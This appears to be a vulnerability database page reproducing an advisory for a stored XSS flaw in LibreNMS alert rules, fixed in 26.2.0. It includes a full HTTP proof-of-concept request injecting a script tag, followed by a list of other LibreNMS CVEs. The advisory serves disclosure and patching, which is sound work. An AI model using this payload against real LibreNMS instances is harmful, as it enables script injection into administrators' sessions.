Sign in
Deutsch English Español Polski
Medium

LibreNMS has a Stored XSS in Alert Rule

  • Disclosed: 18.02.2026
  • Updated: 11.10.2026 10:22

Summary

A stored Cross-Site Scripting (XSS) vulnerability exists in LibreNMS (<= 25.12.0) in the creation of Alert Rules. This allows a user with the admin role to inject malicious JavaScript, which will be executed when the alert rules page is viewed.

Details

The stored JavaScript is displayed at line 63 of inlcudes/html/modal/alert_rule_list.inc.php.

<td><i>" . e($rule_display) . "</i></td>

PoC

Request PoC:

POST /alert-rule HTTP/1.1
Host: 192.168.236.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-TOKEN: FaBY9sq0bzXpc3mlsvyRdvg0PLInwBXPnEhHNrZF
X-Requested-With: XMLHttpRequest
Content-Length: 718
Origin: http://192.168.236.131
Connection: keep-alive
Referer: http://192.168.236.131/device/device=1/tab=edit/section=alert-rules
Cookie: XSRF-TOKEN=eyJpdiI6ImhpdDNwV29nZE1lYzc0NGxyK2dGK2c9PSIsInZhbHVlIjoiUkpXUUlMYTZwT2VaZmNPZExKcHNLQWxwOFVjaGM3Z2hzNVBSa2thTEluSDdBL3Q0amVURGp1Q0tjYm15akw1QmJacDRqY3Y1eTNzS3l1VSsvcjVUaTRIalBKQzVpUlRySktLTHlnTHQxa29NNzlxaXMxQzdsalpUeDNaWTRKSjkiLCJtYWMiOiIwZGQ4ZmEzZmFmZTJkOGIyZWIxOGVhZjE0MTU4ZWI5ZjFlYTI0Y2NkNjcwYTU2Y2JkMTM5MDAxZDg1YWIzY2M5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVWbzBKRU9IaURzOUJ6OVNjREVGbFE9PSIsInZhbHVlIjoiRlJPckhRRG4yZjFiUjdGMlZTUXlhNXArT0pMcUdQY3RaV1EvRWJZdGNWUFUzYjhVaWxLS1hFclpacmFHOGQyNllFaGF1ckRYQWZKNHdzNEQ5RHFmdzh3WEY3UFZvdGlqc3RQVUc2Mk1QYTZ0c045YWt0TG0rS2ttU0ZpV3NQMXkiLCJtYWMiOiI1YWM1OWM5MGMwOTcyNDk2OTU1NTBlY2ExZjQ4M2M1YmQ3ZWFlNzQ5NDVmZTgxOTEyMjNkNjJhM2EzZjY1OWE5IiwidGFnIjoiIn0%3D
Priority: u=0

_token=FaBY9sq0bzXpc3mlsvyRdvg0PLInwBXPnEhHNrZF&device_id=1&device_name=127.0.0.1&rule_id=&builder_json=%7B%22condition%22%3A%22AND%22%2C%22rules%22%3A%5B%7B%22id%22%3A%22access_points.accesspoint_id%22%2C%22field%22%3A%22access_points.accesspoint_id%22%2C%22type%22%3A%22string%22%2C%22input%22%3A%22text%22%2C%22operator%22%3A%22equal%22%2C%22value%22%3A%22%3Cscript%3Ealert(%5C%22xss%5C%22)%3C%2Fscript%3E%22%7D%5D%2C%22valid%22%3Atrue%7D&name=Test+rule&builder_rule_0_filter=access_points.accesspoint_id&builder_rule_0_operator=equal&builder_rule_0_value_0=%3Cscript%3Ealert(%22xss%22)%3C%2Fscript%3E&severity=warning&count=1&delay=1m&interval=5m&recovery=on&acknowledgement=on&maps%5B%5D=1&proc=&notes=&adv_query=

Steps to reproduce:

  1. Create and save an alert rule within a device with the following values: <img width="893" height="325" alt="image" src="https://github.com/user-attachments/assets/33bdb9a6-7c6c-4fd4-9e8e-b845cf9600ea" />

  2. Injected JavaScript is executed: <img width="1104" height="565" alt="image" src="https://github.com/user-attachments/assets/3d45c686-72e4-458a-93f6-e7fb749b966b" />

Impact

Type: Stored Cross-Site Scripting (XSS) Affected users: Only accounts with the admin role which can edit a device's alert rules are affected. Attackers need: Authenticated admin-level access.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package librenms/librenms < 26.2.0 26.2.0

References

CVSS score 4.3/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L
Weakness (CWE)
CWE-79
Platform
Composer
Package
librenms/librenms
Disclosed
18.02.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-6xmx-xr9p-58p7 - CC BY 4.0

Vulnerability history: librenms/librenms

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (106) in the archive
Total entries
106
First → latest
10.2019 08.2026
Without a fix
6
Exploited in attacks
0

Severity breakdown

  • Critical 5
  • High 39
  • Medium 56
  • Low 6

Disclosures per year

Severity:
  1. LibreNMS — Stored XSS via SNMP/Syslog Data in Legacy Templates
    High · 7.1 CVE-2026-84192 < 26.5.0 26.5.0
  2. LibreNMS: SSRF-driven stored XSS via Oxidized API response fields in device showconfig page
    High · 8.1 CVE-2026-84189 < 26.7.0 26.7.0
  3. LibreNMS Vulnerable to Remote Code Execution by Signal Alert Transportation module
    High CVE-2026-55182 >= 21.6.0, < 26.5.0 26.5.0
  4. LibreNMS is Vulnerable to Remote Code Execution by Arbitrary File Write
    High CVE-2026-6204 >= 1.48, < 26.3.0 26.3.0
  5. LibreNMS has a Time-Based Blind SQL Injection in address-search.inc.php
    High · 8.8 CVE-2026-26990 < 26.2.0 26.2.0
  6. LibreNMS has a Stored XSS in Alert Rule this entry
    Medium · 4.3 CVE-2026-26989 < 26.2.0 26.2.0
  7. LibreNMS: SQL Injection in ajax_table.php spreads through a covert data stream.
    High CVE-2026-26988 < 26.2.0 26.2.0
  8. LibreNMS contains an authenticated SQL Injection vulnerability
    High · 7.1 CVE-2020-36947 <= 1.46 no fix
  9. LibreNMS has Authenticated Remote File Inclusion in ajax_form.php that Allows RCE
    High · 7.5 CVE-2025-54138 < 25.7.0 25.7.0
  10. LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/services.inc.php
    High · 7.5 CVE-2024-52526 < 24.10.0 24.10.0
  11. LibreNMS has an Authenticated OS Command Injection
    Critical · 9.1 CVE-2024-51092 < 24.10.0 24.10.0
  12. LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/print-customoid.php
    High · 7.5 CVE-2024-51497 < 24.10.0 24.10.0
  13. LibreNMS has a Reflected XSS ('Cross-site Scripting') in librenms/includes/html/pages/wireless.inc.php
    High · 7.5 CVE-2024-51496 < 24.10.0 24.10.0
  14. LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/dev-overview-data.inc.php
    High · 7.5 CVE-2024-51495 < 24.10.0 24.10.0
  15. LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/app/Http/Controllers/Table/EditPortsController.php
    High · 7.5 CVE-2024-51494 < 24.10.0 24.10.0
  16. LibreNMS has a Persistent XSS from Insecure Input Sanitization Affects Multiple Endpoints
    High · 7.2 CVE-2024-50355 < 24.10.0 24.10.0
  17. LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/overview/services.inc.php
    High · 7.5 CVE-2024-50352 < 24.10.0 24.10.0
  18. LibreNMS has a Reflected XSS ('Cross-site Scripting') in librenms/includes/functions.php
    High · 7.5 CVE-2024-50351 < 24.10.0 24.10.0
  19. LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/app/Http/Controllers/Table/EditPortsController.php
    High · 7.5 CVE-2024-50350 < 24.10.0 24.10.0
  20. LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/capture.inc.php
    High · 7.5 CVE-2024-49764 < 24.10.0 24.10.0
Show more (20) Showing 20 of 45

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Privacy policy

Free to subscribe. Unsubscribe with one click in any email.